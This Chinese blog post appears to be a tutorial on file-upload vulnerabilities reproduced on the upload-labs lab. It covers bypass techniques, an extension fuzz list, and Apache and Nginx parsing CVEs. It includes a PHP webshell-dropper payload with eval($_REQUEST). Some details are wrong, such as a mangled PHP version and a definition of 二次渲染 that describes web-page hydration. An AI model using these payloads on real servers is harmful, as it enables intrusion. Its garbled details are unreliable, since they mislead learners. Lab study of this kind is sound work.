文件上传漏洞大总结:原理与复现

news2024/9/20 22:30:30

文章目录

  • 原理
  • f8x靶场安装
  • 文件上传漏洞
    • 前端验证
      • 概念
      • 步骤:
    • 上传特殊可解析后缀
      • 概念
      • 步骤
    • ::$DATA绕过
      • 概念
      • 主要流类型
    • 点空格绕过
      • 概念
      • 代码审计
      • **步骤:**
    • 文件类型检测
      • 概念
        • 常见的文件类型
      • 过程
    • 文件头检测
      • 概念
      • 过程
    • 黑名单绕过
      • 概念
      • 特殊文件爆破
        • 常用的文件名
        • 过程
      • 双写
        • 过程
    • %00截断
      • 概念
      • 条件
      • 过程
    • 条件竞争
      • 概念
      • 代码审计
      • 复现流程:
    • 二次渲染
      • 概念
      • 步骤
  • Apache HTTPD 换行解析漏洞
      • 介绍
      • 条件
      • 复现
  • Nginx 文件名逻辑漏洞
      • 原理
      • 条件
      • 复现
  • Nginx 解析漏洞
      • 概念
      • 条件
      • 复现

原理

文件上传漏洞的原理在于服务器没有正确验证上传文件的内容或类型,导致攻击者可以上传任意文件,包括恶意脚本(如PHP、ASP等),这些脚本一旦被执行,就可以对服务器进行各种恶意操作。

f8x靶场安装

f8x地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool (github.com)

upload-lab下载地址:https: //github. com/sqlsec/upload-labs-docker

  1. 下载两个文件,一个用于安装环境,一个用于当作靶场

  2. 全部下载到本机,解压,复制到虚拟机

  3. cd 进入文件夹

  4. 使用命令一键安装(需要代理,虚拟机代理教程:在 Kali Linux 虚拟机中实现主机代理共享的详细指南-CSDN博客)

    1. bash f8x -d
  5. 安装完,进入upload-labs-docker文件夹

  6. 一键部署运行

    1. sudo docker-compose up -d

文件上传漏洞

  1. 前端验证

  2. 概念

    1. 服务器的验证放在游览器执行,导致攻击者通过修改前端或者是修改数据包进行绕过验证
  3. 步骤:

    1. 上传文件,捉包修改文件名称即可
  4. 上传特殊可解析后缀

    1. 概念

      1. 可以上传一些配置文件,让服务器来执行这些配置文件进而执行图片里的木马
    2. 步骤

      1. 上传图片马

      2. 上传.htaccess配置文件

        1. AddType application/x-httpd-php .png
      3. 图片以php形式解析

  5. ::$DATA绕过

    1. 概念

      1. Windows本地文件系统中的文件流(File Streams) :在Windows shell命令行中,流的完整名称为"filename:stream name:stream type"。

      2. 主要流类型

        • ::$ATTRIBUTE_LIST
        • ::$BITMAP
        • ::$DATA
        • ::$EA
        • ::$EA_INFORMATION
        • ::$FILE_NAME
        • ::$INDEX_ALLOCATION
        • ::$INDEX_ROOT
        • ::$LOGGED_UTILITY_STREAM
        • ::$OBJECT_ID
        • ::$REPARSE_POINT
      3. 步骤:

        1. 上传一个webshell,并使用Burp拦截功能。
        2. 在Burp中将文件名称.php后面加上::$DATA,然后forward数据包。
        3. 文件成功上传到服务器,但名称后缀为.php::$data
        4. 由于Windows的特性,磁盘会忽略::$data,实际创建的文件为.php
        5. 在浏览器中访问文件路径并去掉::$data,文件内容被成功执行。
  6. 点空格绕过

    1. 概念

      1. 主要利用原理是win系统会自动将“1.jpg.”删除‘.‘所以可以绕过
    2. 代码审计

      1.   $is_upload = false;
          $msg = null;
          if (isset($_POST['submit'])) {
              if (file_exists(UPLOAD_PATH)) {
                  $deny_ext = array("。。。");
                  $file_name = trim($_FILES['upload_file']['name']);
                  $file_name = deldot($file_name);//删除文件名末尾的点
                  $file_ext = strrchr($file_name, '.');--à删除空字符
                  $file_ext = strtolower($file_ext); //转换为小写
                  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
                  $file_ext = trim($file_ext); //首尾去空
                  if (!in_array($file_ext, $deny_ext)) {
                      $temp_file = $_FILES['upload_file']['tmp_name'];
                      $img_path = UPLOAD_PATH.'/'.$file_name;---》解题关键,结构为文件名前缀加后缀,此时文件名为1.jpg.又因为win系统会自动删除‘.‘所以可以绕过
                      if (move_uploaded_file($temp_file, $img_path)) {
                          $is_upload = true;
                      } else {
                          $msg = '上传出错!';
                      }
                  } else {
                      $msg = '此文件类型不允许上传!';
                  }
              } else {
                  $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
              }
          }
        
    3. 步骤:

      1. 上传一个webshell,并使用Burp拦截功能。
      2. 在文件名称.php后面加上. .(两个点中间有一个空格),然后forward数据包。
      3. 访问上传的文件路径,文件成功被解析执行。
  7. 文件类型检测

    1. 概念

      1. 服务器只数据包中的文件类型也要检测,只要修改数据包中的文件类型即可

      2. 常见的文件类型
        1. 图片:Content-Type: image/png
        2. PHP:Content-Type: applicaation/octet-stream
    2. 过程

      1. 捉包修改文件名和文件类型即可
  8. 文件头检测

    1. 概念

      1. 服务器不仅检测数据类型,有时会检测文件头,常用的文件头如下,文件头文件尾
    2. 过程

      1. 先上传正常图片
      2. 捉包,将将图片内容删去,保留文件头,修改名称为php
  9. 黑名单绕过

      1. 概念

        1. 黑名单绕过的方式有很多,例如利用大小写,双写,特殊的名称等等
      2. 特殊文件爆破

        1. 常用的文件名
          1.   phtml
              php
              php3
              php4
              php5
              inc  
              pHtml
              pHp
              pHp3
              pHp4
              pHp5
              iNc
              iNc%00
              iNc%20%20%20
              iNc%20%20%20...%20.%20..
              iNc......
              inc%00
              inc%20%20%20
              inc%20%20%20...%20.%20..
              inc......
              pHp%00
              pHp%20%20%20
              pHp%20%20%20...%20.%20..
              pHp......
              pHp3%00
              pHp3%20%20%20
              pHp3%20%20%20...%20.%20..
              pHp3......
              pHp4%00
              pHp4%20%20%20
              pHp4%20%20%20...%20.%20..
              pHp4......
              pHp5%00
              pHp5%20%20%20
              pHp5%20%20%20...%20.%20..
              pHp5......
              pHtml%00
              pHtml%20%20%20
              pHtml%20%20%20...%20.%20..
              pHtml......
              php%00
              php%20%20%20
              php%20%20%20...%20.%20..
              php......
              php3%00
              php3%20%20%20
              php3%20%20%20...%20.%20..
              php3......
              php4%00
              php4%20%20%20
              php4%20%20%20...%20.%20..
              php4......
              php5%00
              php5%20%20%20
              php5%20%20%20...%20.%20..
              php5......
              phtml%00
              phtml%20%20%20
              phtml%20%20%20...%20.%20..
              phtml......
            
        2. 过程
          1. 捉包,放进intruder模块,按图配置,即可

      3. 双写

        1. 过程
          1. 先上传php文件,捉包双写即可
  10. %00截断

    1. 概念

      1. 攻击者可以构造一个文件名,如malicious.php%00.jpg。当服务器处理这个文件名时,如果没有正确处理%00字符,可能只会看到malicious.php(因为%00截断了字符串),从而允许上传一个PHP脚本,而不是一个图片文件。
    2. 条件

      1. mafic_quote_gpc=off
      2. php版本小于53.4
    3. 过程

      1. 上传php文件

        1. 如果url为没有变量的话的话就在这里(记得先url编码)加或者在文件名加

        2. 如果url有变量就在变量加,因为url上面的1%00会自动解码,就不需要手工解码

  11. 条件竞争

    1. 概念

      1. 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查的间隙中,再次生成木马就可以绕过了
    2. 代码审计

      1.   <?php
              header("Content-type: text/html;charset=utf-8");
              error_reporting(0);
              //设置上传目录
              define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
              define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
              if (!file_exists(UPLOAD_PATH)) {
                  mkdir(UPLOAD_PATH, 0755);
              }
              $is_upload = false;
              if (!empty($_POST['submit'])) {
                  $name = basename($_FILES['file']['name']);
                  $ext = pathinfo($name)['extension'];
                  $upload_file = UPLOAD_PATH . '/' . $name;
                  $whitelist = array('jpg','png','gif','jpeg');
          //UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录
                  if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                      if(in_array($ext,$whitelist)){
                          $rename_file = rand(10, 99).date("YmdHis").".".$ext;
                          $img_path = UPLOAD_PATH . '/'. $rename_file;
                          rename($upload_file, $img_path);
                          $is_upload = true;
                      }else{
                          echo "<script>black();</script>";
                          unlink($upload_file);
                      }
                  } 
              }
          ?>
        
    3. 复现流程:

      1. 上传1.php,捉包,改包

        1. 插入攻击语句

          1.   <?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
              //这个语句就是创建xiao.php,在在其里面写入木马
            
        2. 放入intruder模块中,配置如图

        3. 开始attack

      2. 在上传一个访问1.php的包,也就是执行刚才的数据包

        1. 捉包,放入intruder模块,配置如下,发包

        2. attack

      3. 在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php

        1. 页面发生改变

        2. 蚁剑连接即可

  12. 二次渲染

    1. 概念

      1. 二次渲染是指网页加载时,首先由服务器生成并发送一个完整的 HTML 页面,用户立刻看到内容;然后浏览器下载并运行 JavaScript 代码,激活页面上的交互功能,使其变得动态和可交互,从而结合了快速初始加载和丰富用户体验的优势。
    2. 步骤

      1. 上传文件1
      2. 下载文件2
      3. 放入010进行对比即可

Apache HTTPD 换行解析漏洞

(cve-2017-15715)

  1. 介绍

    1. Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
  2. 条件

    1. apache 2.4.0~2.4.29版本
    2. 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
  3. 复现

    1. 上传一个php木马,在更改后的名称加一个空格

    2. 转到16进制,将对应名称后面的20改为0a

    3. 连接时记得在后面添加上%0a即可

Nginx 文件名逻辑漏洞

(CVE-2013-4547)

  1. 原理

    1. 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
  2. 条件

    1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  3. 复现

    1. 上传gif数据包,在文件名处加空格与添加执行代码即可

    2. 访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00

    3. 发包,执行成功

Nginx 解析漏洞

  1. 概念

    1. 由于 nginx.conf 配置将以 .php 结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似 http://ip/uploadfiles/test.png/.php 的 URL(其中 test.png 是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到 .php 文件时,php.ini 中的 cgi.fix_pathinfo=1 配置会将请求路径修复为上层路径,即 test.png。如果 php-fpm.confsecurity.limit_extensions 配置为空,FastCGI 将解析 .png 文件为 PHP 代码。为防止此类攻击,应限制 php-fpm 仅解析 .php 扩展名。
  2. 条件

    1. 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    2. php-fpm.conf配置文件未设置成.php
  3. 复现

    1. 上传正常图片,捉包,最后面放入执行代码

    2. 得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1966035.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电商 API 接口的最佳实践与案例分析

在当今数字化的商业世界中&#xff0c;电商平台的发展日新月异&#xff0c;而 API 接口在其中扮演着至关重要的角色。通过合理地利用电商 API 接口&#xff0c;企业能够实现更高效的运营、更优质的用户体验以及更强大的业务拓展能力。本文将深入探讨电商 API 接口的最佳实践&am…

开源AI智能名片O2O商城微信小程序:利用超级赠品与厌恶损失心理促进行动转化的策略研究

摘要&#xff1a;在数字化转型的浪潮中&#xff0c;企业如何利用创新技术提升顾客转化率成为了关键议题。开源AI智能名片O2O商城微信小程序作为新兴营销工具&#xff0c;凭借其智能化、便捷性和个性化服务&#xff0c;为企业开辟了新的营销路径。本文聚焦于如何通过超级赠品与厌…

QQ 腾讯官方机器人搭建(更新中)

前言 QQ机器人通过开放的平台承载机器人的定制化功能&#xff0c;让开发者获得更畅快的开发体验。 以下是接入流程&#xff1a; 本文提供QQ机器人使用指南。 文章目录 前言开发前准备工作使用机器人控制台配置gpt—API获取本地公网ip配置机器人 开发前准备工作 首先前往Q…

高效可靠安全的大文件传输系统,了解一下

在数字化转型的浪潮中&#xff0c;数据已成为企业不可或缺的宝贵资源&#xff0c;而高效的文件传输机制则是保障数据流通的基石。无论是企业还是个人&#xff0c;经常需要处理大文件、远距离文件的传输任务&#xff0c;需要文件传输系统来处理。 在远距离传输大型文件时&#x…

一个简洁、高效、可扩展的企业级低代码开发平台,前后端分离,支持国密加密(附源码)

前言 在当今数字化转型的浪潮中&#xff0c;企业面临着快速开发和部署应用的挑战。传统的开发模式往往因为其繁琐的流程、高昂的成-本和僵化的架构而无法满足市场需求。开发者常常受限于复杂的系统配置、安全问题、以及不同数据库的兼容性问题。这些痛点不仅拖慢了开发进度&am…

字符串并查集:1061. 按字典序排列最小的等效字符串和990. 等式方程的可满足性

文章目录 题目一&#xff1a;1061. 按字典序排列最小的等效字符串题目二&#xff1a;990. 等式方程的可满足性 题目一&#xff1a;1061. 按字典序排列最小的等效字符串 1061. 按字典序排列最小的等效字符串 并查集使用整数&#xff0c;字符自然和整数有一个映射&#xff0c;A…

手把手教你用家用电脑完成图片生成卡通动漫风格

一. 效果图 二.animegan2-pytorch 介绍 animegan2-pytorch 是可以将图片转成卡通动漫形式的一个工程。 首先感谢作者开源&#xff0c;respect&#xff01;respect&#xff01;respect&#xff01; animegan2-pytorch地址&#xff1a;bryandlee/animegan2-pytorch: PyTorch impl…

【云原生】Kubernetes中关于污点、亲和性和容忍度的详细用法教程与应用实战

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

在峡江的转弯处:陈行甲人生笔记 读书笔记

书籍信息 在峡江的转弯处&#xff1a;陈行甲人生笔记 书名&#xff1a; 在峡江的转弯处&#xff1a;陈行甲人生笔记作者&#xff1a; 陈行甲简介&#xff1a; 《在峡江的转弯处&#xff1a;陈行甲人生笔记》是陈行甲的自传体随笔&#xff0c;从童年岁月写起&#xff0c;写母亲…

html+css+js hover流光效果按钮

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽效果&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 文…

记录某次“有趣的“挖矿木马排查

挖矿木马是什么&#xff1f; 挖矿木马是一种恶意软件&#xff0c;它在用户不知情或未经同意的情况下&#xff0c;利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币&#xff0c;如比特币或门罗币等。挖矿木马通常通过漏洞利用、弱口令爆破或非…

探索电商 API 接口的创新应用与接入技巧

在当今数字化的商业环境中&#xff0c;电商 API 接口已成为推动业务增长和创新的关键因素。它们不仅为企业提供了与电商平台高效交互的途径&#xff0c;还开启了无数创新应用的可能性。本文将深入探讨电商 API 接口的创新应用&#xff0c;并分享一些实用的接入技巧&#xff0c;…

python---为某个项目使用虚拟环境

目录 为什么要为项目建立虚拟环境建立步骤打开终端&#xff08;Terminal&#xff09;进入项目文件夹所在目录该目录下创建虚拟环境激活新建的虚拟环境安装本项目所需要的库 过程完整截图未来再次使用本虚拟环境先导航到项目目录然后激活虚拟环境 为什么要为项目建立虚拟环境 为…

Excel 通过函数实现数据透视表

函数技巧演示系列。深入介绍 Excel 函数的使用技巧。 本篇通过函数的方式&#xff0c;实现数据透视表&#xff0c;部分函数需要 Office 2021版本或者 Office 365 版。 示例数据 要求&#xff1a;基于产品名称&#xff08;E列&#xff09;和销售渠道&#xff08;G列&#xff09…

代码随想录——买卖股票最佳时机Ⅲ(Leetcode 123)

题目链接 动态规划 动态规划思路&#xff1a; 确定dp数组以及下标的含义 一天一共就有五个状态&#xff0c; 没有操作 &#xff08;其实我们也可以不设置这个状态&#xff09;第一次持有股票第一次不持有股票第二次持有股票第二次不持有股票 dp[i][j]中 i表示第i天&#xf…

医院综合绩效核算系统,绩效核算系统源码,采用springboot+avue+MySQL技术开发,可适应医院多种绩效核算方式。

一、系统概述 作为医院用综合绩效核算系统&#xff0c;系统需要和his系统进行对接&#xff0c;按照设定周期&#xff0c;从his系统获取医院科室和医生、护士、其他人员工作量&#xff0c;对没有录入信息化系统的工作量&#xff0c;绩效考核系统设有手工录入功能&#xff08;可…

论文速递|Management Science 6月文章合集

编者按&#xff1a; 在本系列文章中&#xff0c;我们梳理了运筹学顶刊MSOM在2024年6月份发布的7篇文章的基本信息&#xff0c;旨在帮助读者快速洞察行业最新动态。 文章1 题目 Promotional Inventory Displays: An Empirical Analysis Using IoT Data促销库存展示&#xff1…

dubbo调用知多少?

一 dubbo超时时间的设置 定义&#xff1a;这里说的超时&#xff0c;是针对dubbo provider调用方来说的&#xff0c;比如提供方执行需要3秒&#xff0c;设置了超时时间1秒&#xff08;默认&#xff09;&#xff0c;则consumer调用方会报超时错误&#xff0c;但实际上服务提供方…

抖音短视频矩阵管理:就靠它,让运营更高效

在数字化时代&#xff0c;短视频已成为连接创作者与观众的重要桥梁。抖音作为全球领先的短视频平台&#xff0c;汇聚了海量的创作者和用户。然而&#xff0c;随着个人或品牌账号的增多&#xff0c;如何高效地管理这些抖音短视频矩阵&#xff0c;成为了一个亟待解决的问题。本文…

气膜游乐园:孩子们的新乐园—轻空间

随着科技的发展和人们对健康、安全娱乐环境的重视&#xff0c;气膜建筑逐渐成为游乐休闲项目中的新选择。作为这种创新建筑的一种应用形式&#xff0c;气膜游乐园正在越来越多地受到家庭和孩子们的欢迎。它不仅提供了一个安全、舒适的玩乐空间&#xff0c;还创造了丰富多样的活…